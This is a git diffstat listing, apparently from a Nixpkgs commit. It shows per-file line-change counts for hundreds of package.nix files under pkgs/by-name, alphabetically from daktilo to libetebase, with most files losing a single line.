 pkgs/by-name/da/daktilo/package.nix                  |  1 -
 pkgs/by-name/da/darklua/package.nix                  |  1 -
 pkgs/by-name/da/dash-mpd-cli/package.nix             |  1 -
 pkgs/by-name/da/datafusion-cli/package.nix           |  1 -
 pkgs/by-name/dd/ddh/package.nix                      |  1 -
 pkgs/by-name/de/deadnix/package.nix                  |  1 -
 pkgs/by-name/de/deepfilternet/package.nix            |  1 -
 pkgs/by-name/de/delta/package.nix                    |  1 -
 pkgs/by-name/de/deno/package.nix                     |  1 -
 pkgs/by-name/de/deqp-runner/package.nix              |  1 -
 pkgs/by-name/de/desed/package.nix                    |  1 -
 pkgs/by-name/de/desk-exec/package.nix                |  1 -
 pkgs/by-name/de/desktop-postflop/package.nix         |  1 -
 pkgs/by-name/de/devenv/package.nix                   |  1 -
 pkgs/by-name/de/dezoomify-rs/package.nix             |  1 -
 pkgs/by-name/df/dfrs/package.nix                     |  1 -
 pkgs/by-name/dh/dhcpm/package.nix                    |  1 -
 pkgs/by-name/di/didu/package.nix                     |  1 -
 pkgs/by-name/di/didyoumean/package.nix               |  1 -
 pkgs/by-name/di/diesel-cli-ext/package.nix           |  1 -
 pkgs/by-name/di/diesel-cli/package.nix               |  1 -
 pkgs/by-name/di/diffedit3/package.nix                |  1 -
 pkgs/by-name/di/diffr/package.nix                    |  1 -
 pkgs/by-name/di/diffsitter/package.nix               |  1 -
 pkgs/by-name/di/difftastic/package.nix               |  1 -
 pkgs/by-name/di/dijo/package.nix                     |  2 +-
 pkgs/by-name/di/dim/package.nix                      |  1 -
 pkgs/by-name/di/dioxionary/package.nix               |  1 -
 pkgs/by-name/di/dioxus-cli/package.nix               |  1 -
 pkgs/by-name/di/dipc/package.nix                     |  1 -
 pkgs/by-name/di/diskus/package.nix                   |  1 -
 pkgs/by-name/di/display3d/package.nix                |  1 -
 pkgs/by-name/di/distant/package.nix                  |  1 -
 pkgs/by-name/di/diswall/package.nix                  |  1 -
 pkgs/by-name/dm/dmlive/package.nix                   |  1 -
 pkgs/by-name/dn/dnglab/package.nix                   |  1 -
 pkgs/by-name/dn/dnspeep/package.nix                  |  1 -
 pkgs/by-name/do/doctave/package.nix                  |  1 -
 pkgs/by-name/do/docuum/package.nix                   |  1 -
 pkgs/by-name/do/dogedns/package.nix                  |  1 -
 pkgs/by-name/do/doh-proxy-rust/package.nix           |  1 -
 pkgs/by-name/do/dotacat/package.nix                  |  1 -
 pkgs/by-name/do/dotenv-linter/package.nix            |  1 -
 pkgs/by-name/do/dotenvy/package.nix                  |  1 -
 pkgs/by-name/do/dotslash/package.nix                 |  1 -
 pkgs/by-name/do/dotter/package.nix                   |  1 -
 pkgs/by-name/do/dovi-tool/package.nix                |  1 -
 pkgs/by-name/dp/dpms-off/package.nix                 |  1 -
 pkgs/by-name/dp/dprint/package.nix                   |  1 -
 pkgs/by-name/dr/drill/package.nix                    |  1 -
 pkgs/by-name/dt/dtool/package.nix                    |  1 -
 pkgs/by-name/du/duckscript/package.nix               |  1 -
 pkgs/by-name/du/dufs/package.nix                     |  1 -
 pkgs/by-name/du/dum/package.nix                      |  1 -
 pkgs/by-name/du/dumbpipe/package.nix                 |  1 -
 pkgs/by-name/du/dummyhttp/package.nix                |  1 -
 pkgs/by-name/du/dump_syms/package.nix                |  1 -
 pkgs/by-name/du/dupe-krill/package.nix               |  1 -
 pkgs/by-name/du/dura/package.nix                     |  1 -
 pkgs/by-name/du/dutree/package.nix                   |  1 -
 pkgs/by-name/dy/dynein/package.nix                   |  1 -
 pkgs/by-name/dy/dynisland/package.nix                |  1 -
 pkgs/by-name/dy/dysk/package.nix                     |  1 -
 pkgs/by-name/ea/ea/package.nix                       |  1 -
 pkgs/by-name/ea/each/package.nix                     |  1 -
 pkgs/by-name/ea/ear2ctl/package.nix                  |  1 -
 pkgs/by-name/ea/earbuds/package.nix                  |  1 -
 pkgs/by-name/ea/earthlyls/package.nix                |  1 -
 pkgs/by-name/ea/easytier/package.nix                 |  2 --
 pkgs/by-name/ec/ecc/package.nix                      |  1 -
 pkgs/by-name/ec/ecpdap/package.nix                   |  1 -
 pkgs/by-name/ef/effitask/package.nix                 |  1 -
 pkgs/by-name/ef/efmt/package.nix                     |  1 -
 pkgs/by-name/eg/egglog/package.nix                   |  1 -
 pkgs/by-name/eg/ego/package.nix                      |  1 -
 pkgs/by-name/el/elan/package.nix                     |  1 -
 pkgs/by-name/el/electrs/package.nix                  |  1 -
 pkgs/by-name/el/element-desktop/seshat/default.nix   |  2 --
 pkgs/by-name/el/elf-info/package.nix                 |  1 -
 pkgs/by-name/el/elf2nucleus/package.nix              |  1 -
 pkgs/by-name/el/elf2uf2-rs/package.nix               |  1 -
 pkgs/by-name/el/elfcat/package.nix                   |  1 -
 pkgs/by-name/el/elfx86exts/package.nix               |  1 -
 pkgs/by-name/el/eludris/package.nix                  |  1 -
 pkgs/by-name/em/emacs-lsp-booster/package.nix        |  1 -
 pkgs/by-name/em/emplace/package.nix                  |  1 -
 pkgs/by-name/em/emulsion/package.nix                 |  1 -
 pkgs/by-name/en/en-croissant/package.nix             |  1 -
 pkgs/by-name/en/engage/package.nix                   |  1 -
 pkgs/by-name/en/enkei/package.nix                    |  1 -
 pkgs/by-name/en/envfs/package.nix                    |  1 -
 pkgs/by-name/en/envio/package.nix                    |  1 -
 pkgs/by-name/ep/epick/package.nix                    |  1 -
 pkgs/by-name/ep/epilys-bb/package.nix                |  1 -
 pkgs/by-name/er/erdtree/package.nix                  |  1 -
 pkgs/by-name/er/erg/package.nix                      |  1 -
 pkgs/by-name/es/esbuild-config/package.nix           |  1 -
 pkgs/by-name/es/esp-generate/package.nix             |  1 -
 pkgs/by-name/es/espanso/package.nix                  |  1 -
 pkgs/by-name/es/espflash/package.nix                 |  1 -
 pkgs/by-name/es/espup/package.nix                    |  1 -
 pkgs/by-name/eu/eureka-ideas/package.nix             |  1 -
 pkgs/by-name/ev/eva/package.nix                      |  1 -
 pkgs/by-name/ev/evcxr/package.nix                    |  1 -
 pkgs/by-name/ev/evebox/package.nix                   |  1 -
 pkgs/by-name/ev/evil-helix/package.nix               |  1 -
 pkgs/by-name/ev/evremap/package.nix                  |  1 -
 pkgs/by-name/ev/evscript/package.nix                 |  1 -
 pkgs/by-name/ev/evsieve/package.nix                  |  1 -
 pkgs/by-name/ev/evtx/package.nix                     |  1 -
 pkgs/by-name/ew/eww/package.nix                      |  1 -
 pkgs/by-name/ex/examine/package.nix                  |  1 -
 pkgs/by-name/ex/extest/package.nix                   |  1 -
 pkgs/by-name/ez/eza/package.nix                      |  1 -
 pkgs/by-name/ez/ezno/package.nix                     |  1 -
 pkgs/by-name/fa/fac-build/package.nix                |  2 +-
 pkgs/by-name/fa/faircamp/package.nix                 |  2 --
 pkgs/by-name/fa/faketty/package.nix                  |  1 -
 pkgs/by-name/fa/fanctl/package.nix                   |  1 -
 pkgs/by-name/fa/fast-ssh/package.nix                 |  1 -
 pkgs/by-name/fa/fastmod/package.nix                  |  1 -
 pkgs/by-name/fb/fblog/package.nix                    |  1 -
 pkgs/by-name/fc/fcast-client/package.nix             |  2 +-
 pkgs/by-name/fc/fcp/package.nix                      |  1 -
 pkgs/by-name/fd/fd/package.nix                       |  1 -
 pkgs/by-name/fe/fedigroups/package.nix               |  1 -
 pkgs/by-name/fe/fedimint/package.nix                 |  1 -
 pkgs/by-name/fe/fedistar/package.nix                 |  1 -
 pkgs/by-name/fe/felix-fm/package.nix                 |  1 -
 pkgs/by-name/fe/fend/package.nix                     |  1 -
 pkgs/by-name/fe/ferium/package.nix                   |  1 -
 pkgs/by-name/fe/fernglas/package.nix                 |  1 -
 pkgs/by-name/fe/feroxbuster/package.nix              |  2 --
 pkgs/by-name/fe/ferrishot/package.nix                |  1 -
 pkgs/by-name/fe/ferron/package.nix                   |  1 -
 pkgs/by-name/ff/ff2mpv-rust/package.nix              |  1 -
 pkgs/by-name/ff/ffizer/package.nix                   |  1 -
 pkgs/by-name/ff/ffsend/package.nix                   |  1 -
 pkgs/by-name/fh/fh/package.nix                       |  1 -
 pkgs/by-name/fi/fido2luks/package.nix                |  1 -
 pkgs/by-name/fi/figma-agent/package.nix              |  1 -
 pkgs/by-name/fi/finalfrontier/package.nix            |  1 -
 pkgs/by-name/fi/finalfusion-utils/package.nix        |  1 -
 pkgs/by-name/fi/findex/package.nix                   |  1 -
 pkgs/by-name/fi/findomain/package.nix                |  1 -
 pkgs/by-name/fi/firecracker/package.nix              |  1 -
 pkgs/by-name/fi/firefoxpwa/package.nix               |  1 -
 pkgs/by-name/fi/firezone-gateway/package.nix         |  1 -
 pkgs/by-name/fi/firezone-gui-client/package.nix      |  1 -
 pkgs/by-name/fi/firezone-headless-client/package.nix |  1 -
 pkgs/by-name/fi/firezone-relay/package.nix           |  1 -
 pkgs/by-name/fi/fishnet/package.nix                  |  1 -
 pkgs/by-name/fi/fishy/package.nix                    |  1 -
 pkgs/by-name/fj/fjo/package.nix                      |  1 -
 pkgs/by-name/fl/flaca/package.nix                    |  1 -
 pkgs/by-name/fl/flake-checker/package.nix            |  1 -
 pkgs/by-name/fl/flake-edit/package.nix               |  1 -
 pkgs/by-name/fl/flamelens/package.nix                |  1 -
 pkgs/by-name/fl/flavours/package.nix                 |  1 -
 pkgs/by-name/fl/flawz/package.nix                    |  1 -
 pkgs/by-name/fl/flip-link/package.nix                |  1 -
 pkgs/by-name/fl/flirt/package.nix                    |  1 -
 pkgs/by-name/fl/flitter/package.nix                  |  1 -
 pkgs/by-name/fl/flowgger/package.nix                 |  1 -
 .../fl/flutter_rust_bridge_codegen/package.nix       |  1 -
 pkgs/by-name/fm/fm/package.nix                       |  1 -
 pkgs/by-name/fn/fnm/package.nix                      |  1 -
 pkgs/by-name/fo/fontfor/package.nix                  |  1 -
 pkgs/by-name/fo/foodfetch/package.nix                |  1 -
 pkgs/by-name/fo/forecast/package.nix                 |  1 -
 pkgs/by-name/fo/forgejo-cli/package.nix              |  1 -
 pkgs/by-name/fo/formatjson5/package.nix              |  1 -
 pkgs/by-name/fo/fortanix-sgx-tools/package.nix       |  2 +-
 pkgs/by-name/fo/fortune-kind/package.nix             |  1 -
 pkgs/by-name/fo/foundry/package.nix                  |  1 -
 pkgs/by-name/fo/foxmarks/package.nix                 |  1 -
 pkgs/by-name/fr/framework-tool/package.nix           |  1 -
 pkgs/by-name/fr/frawk/package.nix                    |  1 -
 pkgs/by-name/fr/fre/package.nix                      |  1 -
 pkgs/by-name/fr/frece/package.nix                    |  1 -
 pkgs/by-name/fr/freenukum/package.nix                |  1 -
 pkgs/by-name/fr/french-numbers/package.nix           |  1 -
 pkgs/by-name/fr/freshfetch/package.nix               |  1 -
 pkgs/by-name/fs/fselect/package.nix                  |  1 -
 pkgs/by-name/fs/fsrx/package.nix                     |  1 -
 pkgs/by-name/fs/fst/package.nix                      |  1 -
 pkgs/by-name/fu/fuc/package.nix                      |  1 -
 pkgs/by-name/fu/fum/package.nix                      |  1 -
 pkgs/by-name/fu/function-runner/package.nix          |  1 -
 pkgs/by-name/fu/functiontrace-server/package.nix     |  1 -
 pkgs/by-name/fu/fundoc/package.nix                   |  1 -
 pkgs/by-name/fu/funzzy/package.nix                   |  1 -
 pkgs/by-name/fw/fw/package.nix                       |  1 -
 pkgs/by-name/fz/fzf-make/package.nix                 |  2 --
 pkgs/by-name/g3/g3proxy/package.nix                  |  1 -
 pkgs/by-name/g9/g933-utils/package.nix               |  1 -
 pkgs/by-name/ga/galerio/package.nix                  |  1 -
 pkgs/by-name/ga/game-rs/package.nix                  |  1 -
 pkgs/by-name/gd/gdrive3/package.nix                  |  1 -
 pkgs/by-name/ge/geckodriver/package.nix              |  1 -
 pkgs/by-name/ge/gen-license/package.nix              |  1 -
 pkgs/by-name/ge/genact/package.nix                   |  1 -
 pkgs/by-name/ge/genealogos-cli/package.nix           |  1 -
 pkgs/by-name/ge/genemichaels/package.nix             |  1 -
 pkgs/by-name/ge/genpass/package.nix                  |  1 -
 pkgs/by-name/ge/geticons/package.nix                 |  1 -
 pkgs/by-name/ge/gex/package.nix                      |  1 -
 pkgs/by-name/gf/gfold/package.nix                    |  1 -
 pkgs/by-name/gh/gh-cal/package.nix                   |  1 -
 pkgs/by-name/gh/ghciwatch/package.nix                |  1 -
 pkgs/by-name/gh/ghostie/package.nix                  |  1 -
 pkgs/by-name/gi/gifski/package.nix                   |  1 -
 pkgs/by-name/gi/gimoji/package.nix                   |  1 -
 pkgs/by-name/gi/ginko/package.nix                    |  1 -
 pkgs/by-name/gi/gir-rs/package.nix                   |  1 -
 pkgs/by-name/gi/girouette/package.nix                |  1 -
 pkgs/by-name/gi/git-absorb/package.nix               |  1 -
 pkgs/by-name/gi/git-agecrypt/package.nix             |  1 -
 pkgs/by-name/gi/git-branchless/package.nix           |  1 -
 pkgs/by-name/gi/git-chain/package.nix                |  1 -
 pkgs/by-name/gi/git-cliff/package.nix                |  1 -
 pkgs/by-name/gi/git-credential-keepassxc/package.nix |  1 -
 pkgs/by-name/gi/git-dive/package.nix                 |  1 -
 pkgs/by-name/gi/git-gamble/package.nix               |  1 -
 pkgs/by-name/gi/git-gone/package.nix                 |  1 -
 pkgs/by-name/gi/git-gr/package.nix                   |  1 -
 pkgs/by-name/gi/git-graph/package.nix                |  1 -
 pkgs/by-name/gi/git-igitt/package.nix                |  1 -
 pkgs/by-name/gi/git-ignore/package.nix               |  1 -
 pkgs/by-name/gi/git-instafix/package.nix             |  1 -
 .../gi/git-interactive-rebase-tool/package.nix       |  1 -
 pkgs/by-name/gi/git-mit/package.nix                  |  2 --
 pkgs/by-name/gi/git-nomad/package.nix                |  1 -
 pkgs/by-name/gi/git-point/package.nix                |  1 -
 pkgs/by-name/gi/git-prole/package.nix                |  1 -
 pkgs/by-name/gi/git-ps-rs/package.nix                |  1 -
 pkgs/by-name/gi/git-quickfix/package.nix             |  1 -
 pkgs/by-name/gi/git-series/package.nix               |  1 -
 pkgs/by-name/gi/git-smash/package.nix                |  1 -
 pkgs/by-name/gi/git-stack/package.nix                |  1 -
 pkgs/by-name/gi/git-together/package.nix             |  1 -
 pkgs/by-name/gi/git-trim/package.nix                 |  1 -
 pkgs/by-name/gi/git-upstream/package.nix             |  1 -
 pkgs/by-name/gi/git-vanity-hash/package.nix          |  1 -
 pkgs/by-name/gi/git-wait/package.nix                 |  1 -
 pkgs/by-name/gi/git-workspace/package.nix            |  1 -
 pkgs/by-name/gi/gitbutler/package.nix                |  1 -
 pkgs/by-name/gi/gitlab-ci-ls/package.nix             |  1 -
 pkgs/by-name/gi/gitlab-clippy/package.nix            |  2 +-
 pkgs/by-name/gi/gitlab-timelogs/package.nix          |  1 -
 pkgs/by-name/gi/gitnr/package.nix                    |  1 -
 pkgs/by-name/gi/gitoxide/package.nix                 |  1 -
 pkgs/by-name/gi/gitprompt-rs/package.nix             |  1 -
 pkgs/by-name/gi/gitrs/package.nix                    |  1 -
 pkgs/by-name/gi/gitu/package.nix                     |  1 -
 pkgs/by-name/gi/gitui/package.nix                    |  1 -
 pkgs/by-name/gl/glas/package.nix                     |  1 -
 pkgs/by-name/gl/glicol-cli/package.nix               |  1 -
 pkgs/by-name/gl/glitter/package.nix                  |  1 -
 pkgs/by-name/gl/globe-cli/package.nix                |  1 -
 pkgs/by-name/gl/glrnvim/package.nix                  |  1 -
 pkgs/by-name/gl/gluesql/package.nix                  |  1 -
 pkgs/by-name/gn/gnirehtet/package.nix                |  1 -
 pkgs/by-name/gn/gnome-pomodoro-watcher/package.nix   |  1 -
 pkgs/by-name/gn/gnome-randr/package.nix              |  1 -
 pkgs/by-name/go/gobang/package.nix                   |  1 -
 pkgs/by-name/go/gobble/package.nix                   |  1 -
 pkgs/by-name/go/goldboot/package.nix                 |  1 -
 pkgs/by-name/go/golem/package.nix                    |  1 -
 pkgs/by-name/go/goose-cli/package.nix                |  1 -
 pkgs/by-name/go/gossip/package.nix                   |  1 -
 pkgs/by-name/go/gotify-desktop/package.nix           |  1 -
 pkgs/by-name/go/govee2mqtt/package.nix               |  1 -
 pkgs/by-name/go/goxlr-utility/package.nix            |  1 -
 pkgs/by-name/gp/gpauth/package.nix                   |  2 +-
 pkgs/by-name/gp/gpclient/package.nix                 |  2 +-
 pkgs/by-name/gp/gping/package.nix                    |  1 -
 pkgs/by-name/gp/gptcommit/package.nix                |  1 -
 pkgs/by-name/gp/gptman/package.nix                   |  1 -
 pkgs/by-name/gp/gpustat/package.nix                  |  1 -
 pkgs/by-name/gq/gql/package.nix                      |  1 -
 pkgs/by-name/gr/grafana-to-ntfy/package.nix          |  2 --
 pkgs/by-name/gr/graphql-client/package.nix           |  1 -
 pkgs/by-name/gr/grass-sass/package.nix               |  1 -
 pkgs/by-name/gr/grcov/package.nix                    |  1 -
 pkgs/by-name/gr/grex/package.nix                     |  1 -
 pkgs/by-name/gr/gridlock/package.nix                 |  1 -
 pkgs/by-name/gr/grip-grab/package.nix                |  1 -
 pkgs/by-name/gr/grpc-health-check/package.nix        |  1 -
 pkgs/by-name/gu/gurk-rs/package.nix                  |  2 --
 pkgs/by-name/gy/gyroflow/package.nix                 |  2 --
 pkgs/by-name/ha/habitat/package.nix                  |  1 -
 pkgs/by-name/ha/hackgregator/package.nix             |  1 -
 pkgs/by-name/ha/hadolint-sarif/package.nix           |  1 -
 pkgs/by-name/ha/halloy/package.nix                   |  1 -
 pkgs/by-name/ha/halp/package.nix                     |  1 -
 pkgs/by-name/ha/hamtransfer/package.nix              |  1 -
 pkgs/by-name/ha/handlr-regex/package.nix             |  1 -
 pkgs/by-name/ha/handlr/package.nix                   |  1 -
 pkgs/by-name/ha/hanko/package.nix                    |  2 +-
 pkgs/by-name/ha/harmonia/package.nix                 |  1 -
 pkgs/by-name/ha/harper/package.nix                   |  2 +-
 pkgs/by-name/ha/hatsu/package.nix                    |  1 -
 pkgs/by-name/ha/havn/package.nix                     |  1 -
 pkgs/by-name/ha/hawkeye/package.nix                  |  1 -
 pkgs/by-name/ha/hayabusa/package.nix                 |  1 -
 pkgs/by-name/ha/hayagriva/package.nix                |  1 -
 pkgs/by-name/ha/haylxon/package.nix                  |  1 -
 pkgs/by-name/hc/hck/package.nix                      |  1 -
 pkgs/by-name/hd/hddfancontrol/package.nix            |  1 -
 pkgs/by-name/hd/hdr10plus_tool/package.nix           |  1 -
 pkgs/by-name/he/headphones-toolbox/package.nix       |  1 -
 pkgs/by-name/he/heatseeker/package.nix               |  1 -
 pkgs/by-name/he/hebbot/package.nix                   |  1 -
 pkgs/by-name/he/heh/package.nix                      |  1 -
 pkgs/by-name/he/heliocron/package.nix                |  1 -
 pkgs/by-name/he/helix/package.nix                    |  1 -
 pkgs/by-name/he/hex/package.nix                      |  1 -
 pkgs/by-name/he/hexdino/package.nix                  |  1 -
 pkgs/by-name/he/hexpatch/package.nix                 |  1 -
 pkgs/by-name/he/hextazy/package.nix                  |  1 -
 pkgs/by-name/he/hexyl/package.nix                    |  1 -
 pkgs/by-name/he/heygpt/package.nix                   |  1 -
 pkgs/by-name/hi/hickory-dns/package.nix              |  1 -
 pkgs/by-name/hi/highlight-assertions/package.nix     |  1 -
 pkgs/by-name/hi/hiksink/package.nix                  |  1 -
 pkgs/by-name/hi/himalaya/package.nix                 |  2 --
 pkgs/by-name/hl/hl-log-viewer/package.nix            |  1 -
 pkgs/by-name/hm/hmm/package.nix                      |  1 -
 pkgs/by-name/ho/hoard/package.nix                    |  1 -
 pkgs/by-name/ho/hors/package.nix                     |  1 -
 pkgs/by-name/ho/hot-resize/package.nix               |  1 -
 pkgs/by-name/ht/htb-toolkit/package.nix              |  1 -
 pkgs/by-name/ht/htmlq/package.nix                    |  1 -
 pkgs/by-name/ht/htmx-lsp/package.nix                 |  1 -
 pkgs/by-name/ht/htmx-lsp2/package.nix                |  1 -
 pkgs/by-name/ht/httm/package.nix                     |  1 -
 pkgs/by-name/ht/httplz/package.nix                   |  1 -
 pkgs/by-name/hu/huion-switcher/package.nix           |  1 -
 pkgs/by-name/hu/hullcaster/package.nix               |  1 -
 pkgs/by-name/hu/humility/package.nix                 |  1 -
 pkgs/by-name/hu/huniq/package.nix                    |  1 -
 pkgs/by-name/hu/hunt/package.nix                     |  1 -
 pkgs/by-name/hu/hurl/package.nix                     |  1 -
 pkgs/by-name/hv/hvm/package.nix                      |  1 -
 pkgs/by-name/hw/hwatch/package.nix                   |  1 -
 pkgs/by-name/hy/hydra-check/package.nix              |  1 -
 pkgs/by-name/hy/hydra-cli/package.nix                |  1 -
 pkgs/by-name/hy/hyperfine/package.nix                |  1 -
 pkgs/by-name/hy/hyperlink/package.nix                |  1 -
 pkgs/by-name/hy/hyperspeedcube/package.nix           |  1 -
 pkgs/by-name/hy/hyprdim/package.nix                  |  1 -
 pkgs/by-name/hy/hyprland-activewindow/package.nix    |  1 -
 .../hy/hyprland-autoname-workspaces/package.nix      |  1 -
 .../by-name/hy/hyprland-monitor-attached/package.nix |  1 -
 .../hy/hyprland-per-window-layout/package.nix        |  1 -
 pkgs/by-name/hy/hyprland-workspaces-tui/package.nix  |  2 --
 pkgs/by-name/hy/hyprland-workspaces/package.nix      |  1 -
 pkgs/by-name/hy/hyprnome/package.nix                 |  1 -
 pkgs/by-name/hy/hyprsome/package.nix                 |  1 -
 pkgs/by-name/hy/hyprswitch/package.nix               |  1 -
 pkgs/by-name/i3/i3-back/package.nix                  |  1 -
 pkgs/by-name/i3/i3-open-next-ws/package.nix          |  2 +-
 pkgs/by-name/i3/i3bar-river/package.nix              |  1 -
 pkgs/by-name/ia/iamb/package.nix                     |  1 -
 pkgs/by-name/ia/ianny/package.nix                    |  1 -
 pkgs/by-name/ia/iay/package.nix                      |  1 -
 pkgs/by-name/ic/icnsify/package.nix                  |  1 -
 pkgs/by-name/id/idmail/package.nix                   |  1 -
 pkgs/by-name/ie/ieda/rustpkgs.nix                    | 12 ++++++------
 pkgs/by-name/if/ifwifi/package.nix                   |  1 -
 pkgs/by-name/ig/igrep/package.nix                    |  1 -
 pkgs/by-name/ik/ikill/package.nix                    |  1 -
 pkgs/by-name/im/image-roll/package.nix               |  1 -
 pkgs/by-name/im/impala/package.nix                   |  1 -
 pkgs/by-name/in/inferno/package.nix                  |  1 -
 pkgs/by-name/in/influxdb3/package.nix                |  1 -
 pkgs/by-name/in/inherd-quake/package.nix             |  1 -
 pkgs/by-name/in/inhibridge/package.nix               |  1 -
 pkgs/by-name/in/inko/package.nix                     |  1 -
 pkgs/by-name/in/inlyne/package.nix                   |  1 -
 pkgs/by-name/in/innernet/package.nix                 |  1 -
 pkgs/by-name/in/inori/package.nix                    |  1 -
 pkgs/by-name/in/inputmodule-control/package.nix      |  1 -
 pkgs/by-name/in/inputplug/package.nix                |  1 -
 pkgs/by-name/in/inputplumber/package.nix             |  1 -
 pkgs/by-name/in/integrity-scrub/package.nix          |  1 -
 pkgs/by-name/in/intelli-shell/package.nix            |  1 -
 pkgs/by-name/in/intentrace/package.nix               |  1 -
 pkgs/by-name/in/intermodal/package.nix               |  1 -
 pkgs/by-name/io/ion/package.nix                      |  1 -
 pkgs/by-name/ip/iperf3d/package.nix                  |  1 -
 pkgs/by-name/ir/iro/package.nix                      |  1 -
 pkgs/by-name/ir/iroh/package.nix                     |  1 -
 pkgs/by-name/ir/ironbar/package.nix                  |  1 -
 pkgs/by-name/ir/irust/package.nix                    |  1 -
 pkgs/by-name/is/is-fast/package.nix                  |  1 -
 pkgs/by-name/iv/ivm/package.nix                      |  1 -
 pkgs/by-name/iv/ivyterm/package.nix                  |  1 -
 pkgs/by-name/iw/iwe/package.nix                      |  1 -
 pkgs/by-name/iw/iwqr/package.nix                     |  1 -
 pkgs/by-name/ja/jaq/package.nix                      |  1 -
 pkgs/by-name/ja/jay/package.nix                      |  1 -
 pkgs/by-name/je/jellyfin-rpc/package.nix             |  1 -
 pkgs/by-name/je/jellyfin-tui/package.nix             |  1 -
 pkgs/by-name/je/jen/package.nix                      |  1 -
 pkgs/by-name/jf/jf/package.nix                       |  1 -
 pkgs/by-name/jf/jfmt/package.nix                     |  1 -
 pkgs/by-name/ji/jikken/package.nix                   |  1 -
 pkgs/by-name/ji/jinja-lsp/package.nix                |  1 -
 pkgs/by-name/jl/jless/package.nix                    |  1 -
 pkgs/by-name/jn/jnv/package.nix                      |  1 -
 pkgs/by-name/jo/job-security/package.nix             |  1 -
 pkgs/by-name/jo/josh/package.nix                     |  1 -
 pkgs/by-name/jo/joshuto/package.nix                  |  1 -
 pkgs/by-name/jo/jot/package.nix                      |  1 -
 pkgs/by-name/jo/jotdown/package.nix                  |  1 -
 pkgs/by-name/jo/journaldriver/package.nix            |  2 +-
 pkgs/by-name/jq/jql/package.nix                      |  1 -
 pkgs/by-name/jr/jrsonnet/package.nix                 |  1 -
 pkgs/by-name/js/jsonschema-cli/package.nix           |  1 -
 pkgs/by-name/js/jsonwatch/package.nix                |  1 -
 pkgs/by-name/ju/jujutsu/package.nix                  |  2 --
 pkgs/by-name/ju/jumpy/package.nix                    |  1 -
 pkgs/by-name/ju/just/package.nix                     |  1 -
 pkgs/by-name/jw/jwt-cli/package.nix                  |  1 -
 pkgs/by-name/jw/jwtinfo/package.nix                  |  1 -
 .../by-name/ka/kak-tree-sitter-unwrapped/package.nix |  1 -
 pkgs/by-name/ka/kakoune-lsp/package.nix              |  1 -
 pkgs/by-name/ka/kalker/package.nix                   |  1 -
 pkgs/by-name/ka/kamp/package.nix                     |  1 -
 pkgs/by-name/ka/kanata/package.nix                   |  1 -
 pkgs/by-name/ka/kanha/package.nix                    |  1 -
 pkgs/by-name/ka/kanidm-provision/package.nix         |  1 -
 pkgs/by-name/ka/kanidm/generic.nix                   |  2 +-
 pkgs/by-name/ka/kapacitor/package.nix                |  2 +-
 pkgs/by-name/ka/kaput-cli/package.nix                |  1 -
 pkgs/by-name/ka/karlender/package.nix                |  1 -
 pkgs/by-name/kb/kbs2/package.nix                     |  1 -
 pkgs/by-name/kb/kbt/package.nix                      |  1 -
 pkgs/by-name/kc/kclvm/package.nix                    |  1 -
 pkgs/by-name/kc/kclvm_cli/package.nix                |  2 +-
 pkgs/by-name/kd/kdash/package.nix                    |  1 -
 pkgs/by-name/kd/kdlfmt/package.nix                   |  1 -
 pkgs/by-name/kd/kdotool/package.nix                  |  1 -
 pkgs/by-name/ke/keedump/package.nix                  |  1 -
 pkgs/by-name/ke/keepass-diff/package.nix             |  1 -
 pkgs/by-name/ke/kepler/package.nix                   |  1 -
 pkgs/by-name/ke/kestrel/package.nix                  |  1 -
 pkgs/by-name/ke/keyscope/package.nix                 |  1 -
 pkgs/by-name/ki/kibi/package.nix                     |  1 -
 pkgs/by-name/ki/kickoff/package.nix                  |  1 -
 pkgs/by-name/ki/kickstart/package.nix                |  1 -
 pkgs/by-name/ki/kile-wl/package.nix                  |  1 -
 pkgs/by-name/ki/killport/package.nix                 |  1 -
 pkgs/by-name/ki/kind2/package.nix                    |  1 -
 pkgs/by-name/ki/kitty-img/package.nix                |  1 -
 pkgs/by-name/ki/kittycad-kcl-lsp/package.nix         |  1 -
 pkgs/by-name/ki/kittysay/package.nix                 |  1 -
 pkgs/by-name/kl/klipper-estimator/package.nix        |  1 -
 pkgs/by-name/kl/klog-rs/package.nix                  |  2 +-
 pkgs/by-name/km/kmon/package.nix                     |  1 -
 pkgs/by-name/ko/koji/package.nix                     |  1 -
 pkgs/by-name/ko/komac/package.nix                    |  1 -
 pkgs/by-name/ko/komodo/package.nix                   |  2 --
 pkgs/by-name/ko/kondo/package.nix                    |  1 -
 pkgs/by-name/ko/kontroll/package.nix                 |  1 -
 pkgs/by-name/ko/kord/package.nix                     |  1 -
 pkgs/by-name/ko/koto-ls/package.nix                  |  1 -
 pkgs/by-name/ko/koto/package.nix                     |  1 -
 pkgs/by-name/kr/krabby/package.nix                   |  1 -
 pkgs/by-name/kr/krankerl/package.nix                 |  1 -
 pkgs/by-name/kr/krapslog/package.nix                 |  1 -
 pkgs/by-name/kr/krill/package.nix                    |  1 -
 pkgs/by-name/kt/kty/package.nix                      |  1 -
 pkgs/by-name/ku/kubetui/package.nix                  |  1 -
 pkgs/by-name/ku/kubie/package.nix                    |  1 -
 pkgs/by-name/kx/kx-aspe-cli/package.nix              |  1 -
 pkgs/by-name/la/lact/package.nix                     |  1 -
 pkgs/by-name/la/lalrpop/package.nix                  |  1 -
 pkgs/by-name/la/lan-mouse/package.nix                |  1 -
 pkgs/by-name/la/languagetool-rust/package.nix        |  1 -
 pkgs/by-name/la/lanzaboote-tool/package.nix          |  2 +-
 pkgs/by-name/la/lapce/package.nix                    |  1 -
 pkgs/by-name/la/laze/package.nix                     |  1 -
 pkgs/by-name/la/lazycli/package.nix                  |  1 -
 pkgs/by-name/la/lazyjj/package.nix                   |  1 -
 pkgs/by-name/la/lazymc/package.nix                   |  1 -
 pkgs/by-name/ld/ldproxy/package.nix                  |  1 -
 pkgs/by-name/le/leaf/package.nix                     |  1 -
 pkgs/by-name/le/leddy/package.nix                    |  2 +-
 pkgs/by-name/le/leetcode-cli/package.nix             |  1 -
 pkgs/by-name/le/leftwm-config/package.nix            |  1 -
 pkgs/by-name/le/leftwm-theme/package.nix             |  1 -
 pkgs/by-name/le/leftwm/package.nix                   |  1 -
 pkgs/by-name/le/legba/package.nix                    |  1 -
 pkgs/by-name/le/lemmeknow/package.nix                |  1 -
 pkgs/by-name/le/lemmy-help/package.nix               |  1 -
 pkgs/by-name/le/lemurs/package.nix                   |  1 -
 pkgs/by-name/le/leptosfmt/package.nix                |  1 -
 pkgs/by-name/le/lethe/package.nix                    |  1 -
 pkgs/by-name/li/liana/package.nix                    |  1 -
 pkgs/by-name/li/lianad/package.nix                   |  1 -
 pkgs/by-name/li/libetebase/package.nix               |  1 -
